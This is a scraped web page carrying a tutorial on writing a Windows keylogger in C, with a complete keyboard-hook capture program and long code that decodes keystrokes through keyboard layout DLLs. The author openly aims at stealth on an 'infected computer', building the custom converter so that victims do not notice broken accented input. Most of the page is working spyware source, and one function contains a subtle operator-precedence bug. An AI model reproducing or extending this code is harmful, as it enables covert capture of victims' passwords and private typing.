ITT Tech

Home > Debtor days > Writing Keyloggers

Writing Keyloggers

at:2008-09-08 03:10:57   Click: 327

Summary: /* Converting */


==Intercepting keystrokes==

===Hooking Key Events===

There are different ways to catch the keys as they are being typed, but one of the most efficient is to monitor system events for key events. This is done with a hook, which forces Windows to call your own functions when a certain type of event happens. First, let's see how you can set a hook to catch keyboard events, with SetWindowsHookEx():

<pre>
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);
</pre>

SetWindowsHookEx() returns a hook handle (HHOOK), which you should keep in order to unhook at a later time with UnhookWindowsHookEx(). The first argument is the type of hook you want to set, in this case, WH_KEYBOARD_LL for low-level keyboard events. The second argument is the hook procedure which will receive the events, you have to define it somewhere else in your program. The third argument is a module handle to the current module. The last argument is the thread ID for which this hook applies, by setting it to zero you associate the hook procedure with all running threads.

You should call SetWindowsHookEx() in your main function, and then enter this loop:

<pre>
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
</pre>

which will receive and dispatch system messages.

Next, you need to define the hook procedure:

<pre>
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%u\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
}

return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
</pre>

I chose to call it KeyEvent, but you can rename it to whatever you want, as long as it stays relevant. The function arguments need to stay as they are, they are not yours to define. wParam is used to identify the event, while lParam receives information related to that event. Here, we are interested in catching WM_SYSKEYDOWN and WM_KEYDOWN, which gives the following line:

<pre>
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
</pre>

If this condition is true, then we know a key was pressed. Now we need to know which key was pressed. To do so, we first need to cast lParam to a KBDLLHOOKSTRUCT, and then retrieve the structure member vkCode, which is the virtual key code of the key:

<pre>
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
</pre>

The virtual key code of a key is a number associated with a key on your keyboard. It is not the character that is shown when you press that key. The conversion between the virtual key code and the character is covered later in this tutorial. However, the virtual key codes of keys with a letter correspond to the same letter, in capitals. At this stage, just to make sure it works, we can display the virtual key code (in hexadecimal) along with the same number casted to a character.

KeyEvent() should always return CallNextHookEx(hKeyHook, nCode, wParam, lParam), as it is part of a hook chain.

Here is the complete code for the first example, compile & run it as a console program.

<pre>
#include <stdio.h>
#include <windows.h>

HHOOK hKeyHook;
KBDLLHOOKSTRUCT kbdStruct;

LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
}

return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}

UnhookWindowsHookEx(hKeyHook);
return 0;
}
</pre>

Type "hello", in another window than the keylogger, to ensure that it is working. Here is what you should see:

<pre>
48 H
45 E
4C L
4C L
4F O
</pre>

For a complete list of virtual key codes, see [http://msdn.microsoft.com/en-us/library/ms645540.aspx this page].
The following MSDN pages may also be useful for a better understanding of the API used:
[http://msdn.microsoft.com/en-us/library/ms644990(VS.85).aspx SetWindowsHookEx()]
[http://msdn.microsoft.com/en-us/library/ms683199(VS.85).aspx GetModuleHandle()]
[http://msdn.microsoft.com/en-us/library/ms674716%28VS.85%29.aspx Keyboard Notifications (WM_KEYDOWN + WM_SYSKEYDOWN)]
[http://msdn.microsoft.com/en-us/library/ms644967.aspx KBDLLHOOKSTRUCT Structure]

==Converting Virtual Key Codes to Characters==
===ToUnicode()===

Virtual key codes need to be converted to their associated characters, according to the current keyboard layout. Microsoft provides API for this, which works fine to a certain degree. You can choose between ToAscii() and ToUnicode() depending on the character encoding you want to use. For different reasons, I will use ToUnicode in the following example, but you might as well modify it so that it uses ToAscii() with very few changes. Change KeyEvent() in the previous example so that you now have:

<pre>
BYTE keyState[256];
WCHAR buffer[16];

LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState((PBYTE)&keyState);
ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer, sizeof(buffer) / 2, 0);
printf("%X\t%c\n", buffer[0], buffer[0]);
}

return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
</pre>

Reference:
[http://msdn.microsoft.com/en-us/library/ms646316(VS.85).aspx ToAscii()]
[http://msdn.microsoft.com/en-us/library/ms646320(VS.85).aspx ToUnicode()]
[http://msdn.microsoft.com/en-us/library/ms646299(VS.85).aspx GetKeyboardState()]


The main difference here is that we send the virtual key codes to ToUnicode, which then outputs the resulting character in a buffer. The virtual key code and scan code are members of KBDLLHOOKSTRUCT, and you only need to pass them to ToUnicode(). The third argument is a 256 BYTE array that contains the current key states of all the keyboard. You then need to give a pointer to a buffer that receives the resulting character(s) and its size. The last argument is used to set flags, read the MSDN article if you want to use it.

Now, compile and run the latest example, and type "hello!". Here is what you should see:

<pre>
68 h
65 e
6C l
6C l
6F o
0
31 1
</pre>

For "hello", everything went fine, the correct characters were outputted. However, things go wrong when you press shift + 1 in order to get a '!' sign. The event corresponding to the shift key being pressed is first caught, with no character output (obviously). Then, the '1' key is pressed, and '1' is outputted, as if shift was never pressed. This is only one downside of ToUnicode(), the worse being to provide no support for dead keys, as mentioned on MSDN:

''The parameters supplied to the ToUnicode function might not be sufficient to translate the virtual-key code because a previous dead key is stored in the keyboard layout.''

I see the question coming: What is a dead key? Dead keys are used for accented letters, in languages where they are common such as French or German. For example, instead of having a key for o, u, o with umlaut (ö), u with umlaut (ü), the German keyboard layout would have a key for o, u, and one for the umlaut. To type a letter with an umlaut, one would need to press the umlaut key and then the base letter. When pressing the umlaut, nothing happens, that's why it is called a dead key. Even if it outputs nothing, it will affect the next character being outputted.

Now, why should you care about them, if you use a non-accented language such as English? There is another problem: ToUnicode() does not only provide no support for dead keys, it also interferes with them to the point of not being able to type accented letters anymore. This is very likely to reveal your presence on an infected computer, and as the problem affects keyboard input, the first thing the suspicious user will look for is a keylogger.

For example, if I try to type the French letter 'ê' in notepad while running the keylogger, here is what I get instead:

^^e

Ouch. We need to find a way to convert virtual key codes to characters, that would use toggle keys, modifier keys, and dead keys. Unless Microsoft reworks its implementation of ToUnicode(), we have to make our own improved version. This is going to be way longer than calling ToUnicode().

===Getting current keyboard layout===

Keyboard layouts on Windows aren't quite stored the same way as they do on other operating systems such as Linux. Instead of a nice text file, Windows use DLLs. Those DLLs are found in %WINDIR%\System32 and their names begin with "kbd". For instance, the US keyboard layout would be in C:\Windows\System32\kbdus.dll. In each of those keyboard layout DLLs, there is a function called KbdLayerDescriptor(). Don't look for it on MSDN, this function is undocumented. It returns a structure of data containing all information concerning the keyboard layout. What you can do, however, is download the Windows Driver Development Kit, which has few keyboard layout samples written in C along with a very important header file, kbd.h (that's where all the structures you will use are declared).

We first need to know where is the DLL of the current keyboard layout. Each keyboard layout has a name, which is a number used to identify it. You can retrieve this number with GetKeyboardLayoutName(). For example, the US keyboard layout has the number 00010402. The file name of the DLL where this keyboard layout is stored is given in

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\<keyboard layout name>

For instance, we read "Layout File" in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\00010402 to know that the US keyboard layout is in KBDUS.DLL. Here is a function that does it:

<pre>
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize)
{
HKEY hKey;
DWORD varType = REG_SZ;

char kbdName[KL_NAMELENGTH];
GetKeyboardLayoutName(kbdName);

char kbdKeyPath[51 + KL_NAMELENGTH];
snprintf(kbdKeyPath, 51 + KL_NAMELENGTH,
"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", kbdName);

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCTSTR)kbdKeyPath, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
return -1;

if(RegQueryValueEx(hKey, "Layout File", NULL, &varType, layoutFile, &bufferSize) != ERROR_SUCCESS)
return -1;

RegCloseKey(hKey);

return 1;
}
</pre>

[http://www.microsoft.com/whdc/DevTools/ddk/default.mspx Windows DDK 2003]
[http://msdn.microsoft.com/en-us/library/ms646298.aspx GetKeyboardLayoutName()]
[http://msdn.microsoft.com/en-us/library/ms776294(VS.85).aspx Language Identifier Constants and Strings]

===Understanding how the data is structured===

Now that we know the file name of the current keyboard layout DLL, we can load it. But before doing that, we'll take a look at what KbdLayerDescriptor() returns, a pointer to a KBDTABLES structure. Here is the definition of this structure, taken from kbd.h. It contains several other structures and data types defined in kbd.h. The way the data is stored can be very confusing, so make sure you understand this part.

<pre>
typedef struct tagKbdLayer {
/*
* Modifier keys
*/
PMODIFIERS pCharModifiers;

/*
* Characters
*/
PVK_TO_WCHAR_TABLE pVkToWcharTable; // ptr to tbl of ptrs to tbl

/*
* Diacritics
*/
PDEADKEY pDeadKey;

/*
* Names of Keys
*/
PVSC_LPWSTR pKeyNames;
PVSC_LPWSTR pKeyNamesExt;
WCHAR *KBD_LONG_POINTER *KBD_LONG_POINTER pKeyNamesDead;

/*
* Scan codes to Virtual Keys
*/
USHORT *KBD_LONG_POINTER pusVSCtoVK;
BYTE bMaxVSCtoVK;
PVSC_VK pVSCtoVK_E0; // Scancode has E0 prefix
PVSC_VK pVSCtoVK_E1; // Scancode has E1 prefix

/*
* Locale-specific special processing
*/
DWORD fLocaleFlags;

/*
* Ligatures
*/
BYTE nLgMax;
BYTE cbLgEntry;
PLIGATURE1 pLigature;

/*
* Type and subtype. These are optional.
*/
DWORD dwType; // Keyboard Type
DWORD dwSubType; // Keyboard SubType: may contain OemId
} KBDTABLES, *KBD_LONG_POINTER PKBDTABLES;
</pre>

In KBDTABLES, there are three member structures that will we use. They are VK_TO_WCHAR_TABLE, MODIFIERS, and DEADKEY.

VK_TO_WCHAR_TABLE, with member structure VK_TO_WCHARS1
<pre>
typedef struct _VK_TO_WCHAR_TABLE {
PVK_TO_WCHARS1 pVkToWchars;
BYTE nModifications;
BYTE cbSize;
} VK_TO_WCHAR_TABLE, *KBD_LONG_POINTER PVK_TO_WCHAR_TABLE;

#define TYPEDEF_VK_TO_WCHARS(n) typedef struct _VK_TO_WCHARS##n { \
BYTE VirtualKey; \
BYTE Attributes; \
WCHAR wch[n]; \
} VK_TO_WCHARS##n, *KBD_LONG_POINTER PVK_TO_WCHARS##n;
</pre>

Here is the tricky part. Each virtual key code can correspond to different characters, depending on modifier keys. The number of possible modifications is given by nModifications. For example, the 'A' key can give 'a' or 'A' depending on Shift and Caps Lock. Caps Lock is considered separately, as it is a toggle key. When toggled, it will do as if Shift was pressed, if the virtual key code is defined to be that way. As the 'A' key can lead to two possible modifier key combinations (either no modifier key or the Shift key), nModifications will hold 2 and the information will be in a VK_TO_WCHARS2 structure. The VK_TO_WCHAR_TABLE member pVkToWchars is simply a pointer meant to be cast to the correct PVK_TO_WCHARS type, according to the number of possible modifications.

MODIFIERS structure, with member structure VK_TO_BIT
<pre>
typedef struct {
PVK_TO_BIT pVkToBit; // Virtual Keys -> Mod bits
WORD wMaxModBits; // max Modification bit combination value
BYTE ModNumber[]; // Mod bits -> Modification Number
} MODIFIERS, *KBD_LONG_POINTER PMODIFIERS;

typedef struct {
BYTE Vk;
BYTE ModBits;
} VK_TO_BIT, *KBD_LONG_POINTER PVK_TO_BIT;
</pre>

DEADKEY structure
<pre>
typedef struct {
DWORD dwBoth; // diacritic & char
WCHAR wchComposed;
USHORT uFlags;
} DEADKEY, *KBD_LONG_POINTER PDEADKEY;
</pre>

===Loading the keyboard layout===

Loading the keyboard layout is quite simple: we load the DLL, call KbdLayerDescriptor() and then make copies of the pointers we will use the most. In order to compile this, make a copy of kbd.h and include it in your project. I will declare new macros and functions in kbdext.h, and define them in kbdext.c.

// kbdext.h
<pre>
#ifndef _KBD_EXT_
#define _KBD_EXT_

#include <windows.h>
#include <limits.h>

#define INIT_PVK_TO_WCHARS(i, n) \
if((pKbd->pVkToWcharTable[i].cbSize - 2) / 2 == n) \
pVkToWchars##n = (PVK_TO_WCHARS##n)pKbd->pVkToWcharTable[i].pVkToWchars; \

#endif // _KBD_EXT_
</pre>

// kbdext.c
<pre>
#include "kbd.h"
#include "kbdext.h"

typedef PKBDTABLES(CALLBACK* KbdLayerDescriptor)(VOID);

PVK_TO_WCHARS1 pVkToWchars1 = NULL;
PVK_TO_WCHARS2 pVkToWchars2 = NULL;
PVK_TO_WCHARS3 pVkToWchars3 = NULL;
PVK_TO_WCHARS4 pVkToWchars4 = NULL;
PVK_TO_WCHARS5 pVkToWchars5 = NULL;
PVK_TO_WCHARS6 pVkToWchars6 = NULL;
PVK_TO_WCHARS7 pVkToWchars7 = NULL;
PVK_TO_WCHARS8 pVkToWchars8 = NULL;
PVK_TO_WCHARS9 pVkToWchars9 = NULL;
PVK_TO_WCHARS10 pVkToWchars10 = NULL;
PMODIFIERS pCharModifiers;
PDEADKEY pDeadKey;

HINSTANCE loadKeyboardLayout()
{
PKBDTABLES pKbd;
HINSTANCE kbdLibrary;
KbdLayerDescriptor pKbdLayerDescriptor = NULL;

char layoutFile[MAX_PATH];
if(getKeyboardLayoutFile(layoutFile, sizeof(layoutFile)) == -1)
return NULL;

char systemDirectory[MAX_PATH];
GetSystemDirectory(systemDirectory, MAX_PATH);

char kbdLayoutFilePath[MAX_PATH];
snprintf(kbdLayoutFilePath, MAX_PATH, "%s\\%s", systemDirectory, layoutFile);

if(kbdLibrary = LoadLibrary(kbdLayoutFilePath) == NULL)
return NULL;

pKbdLayerDescriptor = (KbdLayerDescriptor)GetProcAddress(kbdLibrary, "KbdLayerDescriptor");

if(pKbdLayerDescriptor != NULL)
pKbd = pKbdLayerDescriptor();
else
return NULL;

int i = 0;
do
{
INIT_PVK_TO_WCHARS(i, 1)
INIT_PVK_TO_WCHARS(i, 2)
INIT_PVK_TO_WCHARS(i, 3)
INIT_PVK_TO_WCHARS(i, 4)
INIT_PVK_TO_WCHARS(i, 5)
INIT_PVK_TO_WCHARS(i, 6)
INIT_PVK_TO_WCHARS(i, 7)
INIT_PVK_TO_WCHARS(i, 8)
INIT_PVK_TO_WCHARS(i, 9)
INIT_PVK_TO_WCHARS(i, 10)
i++;
}
while(pKbd->pVkToWcharTable[i].cbSize != 0);

pCharModifiers = pKbd->pCharModifiers;
pDeadKey = pKbd->pDeadKey;

return kbdLibrary;
}

int unloadKeyboardLayout(HINSTANCE kbdLibrary)
{
if(kbdLibrary != 0)
return (FreeLibrary(kbdLibrary) != 0);
}
</pre>

There is not much to say about the previous sample code. Loading the pointers is just one part of the work, now let's see how it can be used.

===Converting===

First, add this macro to your kbdext.h:

<pre>
#define SEARCH_VK_IN_CONVERSION_TABLE(n) \
i = 0; \
if(pVkToWchars##n && (mod < n)) \
{ \
do \
{ \
if(pVkToWchars##n[i].VirtualKey == virtualKey) \
{ \
if((pVkToWchars##n[i].Attributes == CAPLOK) && capsLock) \
if(mod == shift) mod = 0; else mod = shift; \
*outputChar = pVkToWchars##n[i].wch[mod]; \
if(*outputChar == WCH_NONE) { charCount = 0; } \
else if(*outputChar == WCH_DEAD) \
{ \
*deadChar = pVkToWchars##n[i + 1].wch[mod]; \
charCount = 0; \
} \
break;\
} \
i++; \
} \
while(pVkToWchars##n[i].VirtualKey != 0); \
} \
</pre>

Macros are a convenient solution to the problems of having to search in many tables that only differ by a number in their name and the size of a member array. As the code is quite the same for each one of them, we just substitute the number and avoid pasting the same code over and over with few changes. Notice that this macro requires that some variables are declared before using it. Ready? Let's move on with the long awaited function that will do the conversion (to add in kbdext.c):

<pre>
int convertVirtualKeyToWChar(int virtualKey, PWCHAR outputChar, PWCHAR deadChar)
{
int i = 0;
short state = 0;
int shift = -1;
int mod = 0;
int charCount = 0;

WCHAR baseChar;
WCHAR diacritic;
*outputChar = 0;

int capsLock = (GetKeyState(VK_CAPITAL) & 0x1);

do
{
state = GetAsyncKeyState(pCharModifiers->pVkToBit[i].Vk);

if(pCharModifiers->pVkToBit[i].Vk == VK_SHIFT)
shift = i + 1; // Get modification number for Shift key

if(state & ~SHRT_MAX)
{
if(mod == 0)
mod = i + 1;
else
mod = 0; // Two modifiers at the same time!
}
i++;
}
while(pCharModifiers->pVkToBit[i].Vk != 0);

SEARCH_VK_IN_CONVERSION_TABLE(1)
SEARCH_VK_IN_CONVERSION_TABLE(2)
SEARCH_VK_IN_CONVERSION_TABLE(3)
SEARCH_VK_IN_CONVERSION_TABLE(4)
SEARCH_VK_IN_CONVERSION_TABLE(5)
SEARCH_VK_IN_CONVERSION_TABLE(6)
SEARCH_VK_IN_CONVERSION_TABLE(7)
SEARCH_VK_IN_CONVERSION_TABLE(8)
SEARCH_VK_IN_CONVERSION_TABLE(9)
SEARCH_VK_IN_CONVERSION_TABLE(10)

if(*deadChar != 0) // I see dead characters...
{
i = 0;
do
{
baseChar = (WCHAR)pDeadKey[i].dwBoth;
diacritic = (WCHAR)(pDeadKey[i].dwBoth >> 16);

if((baseChar == *outputChar) && (diacritic == *deadChar))
{
*deadChar = 0;
*outputChar = (WCHAR)pDeadKey[i].wchComposed;
}
i++;
}
while(pDeadKey[i].dwBoth != 0);
}

return charCount;
}
</pre>
[http://msdn.microsoft.com/en-us/library/ms646301(VS.85).aspx GetKeyState()]
[http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx GetAsyncKeyState()]

This requires more explanations. The function takes three arguments:

int virtualKey: The virtual key code to convert to its corresponding wide character. PWCHAR outputChar: A pointer to the wide character that will receive the resulting character. PWCHAR deadChar: A pointer to the wide character containing a previously entered dead key. Use the same WCHAR variable for multiple calls to convertVirtualKeyToWChar() in order to add support for dead keys.

The function returns 1 if there is a resulting character, and stores it in outputChar. If the key is a dead key, the function returns 0 (0 resulting characters) and stores the dead char in deadChar. For instance, if '^' is pressed, convertVirtualKeyToWChar() returns 0 and deadChar is set to '^'. If the user then presses 'e' and that the conversion is done with deadKey set to '^' (done with the previous call), the resulting character will be 'ê' and not 'e' (support for dead keys!).

0 Vote


Comment
Name: Home: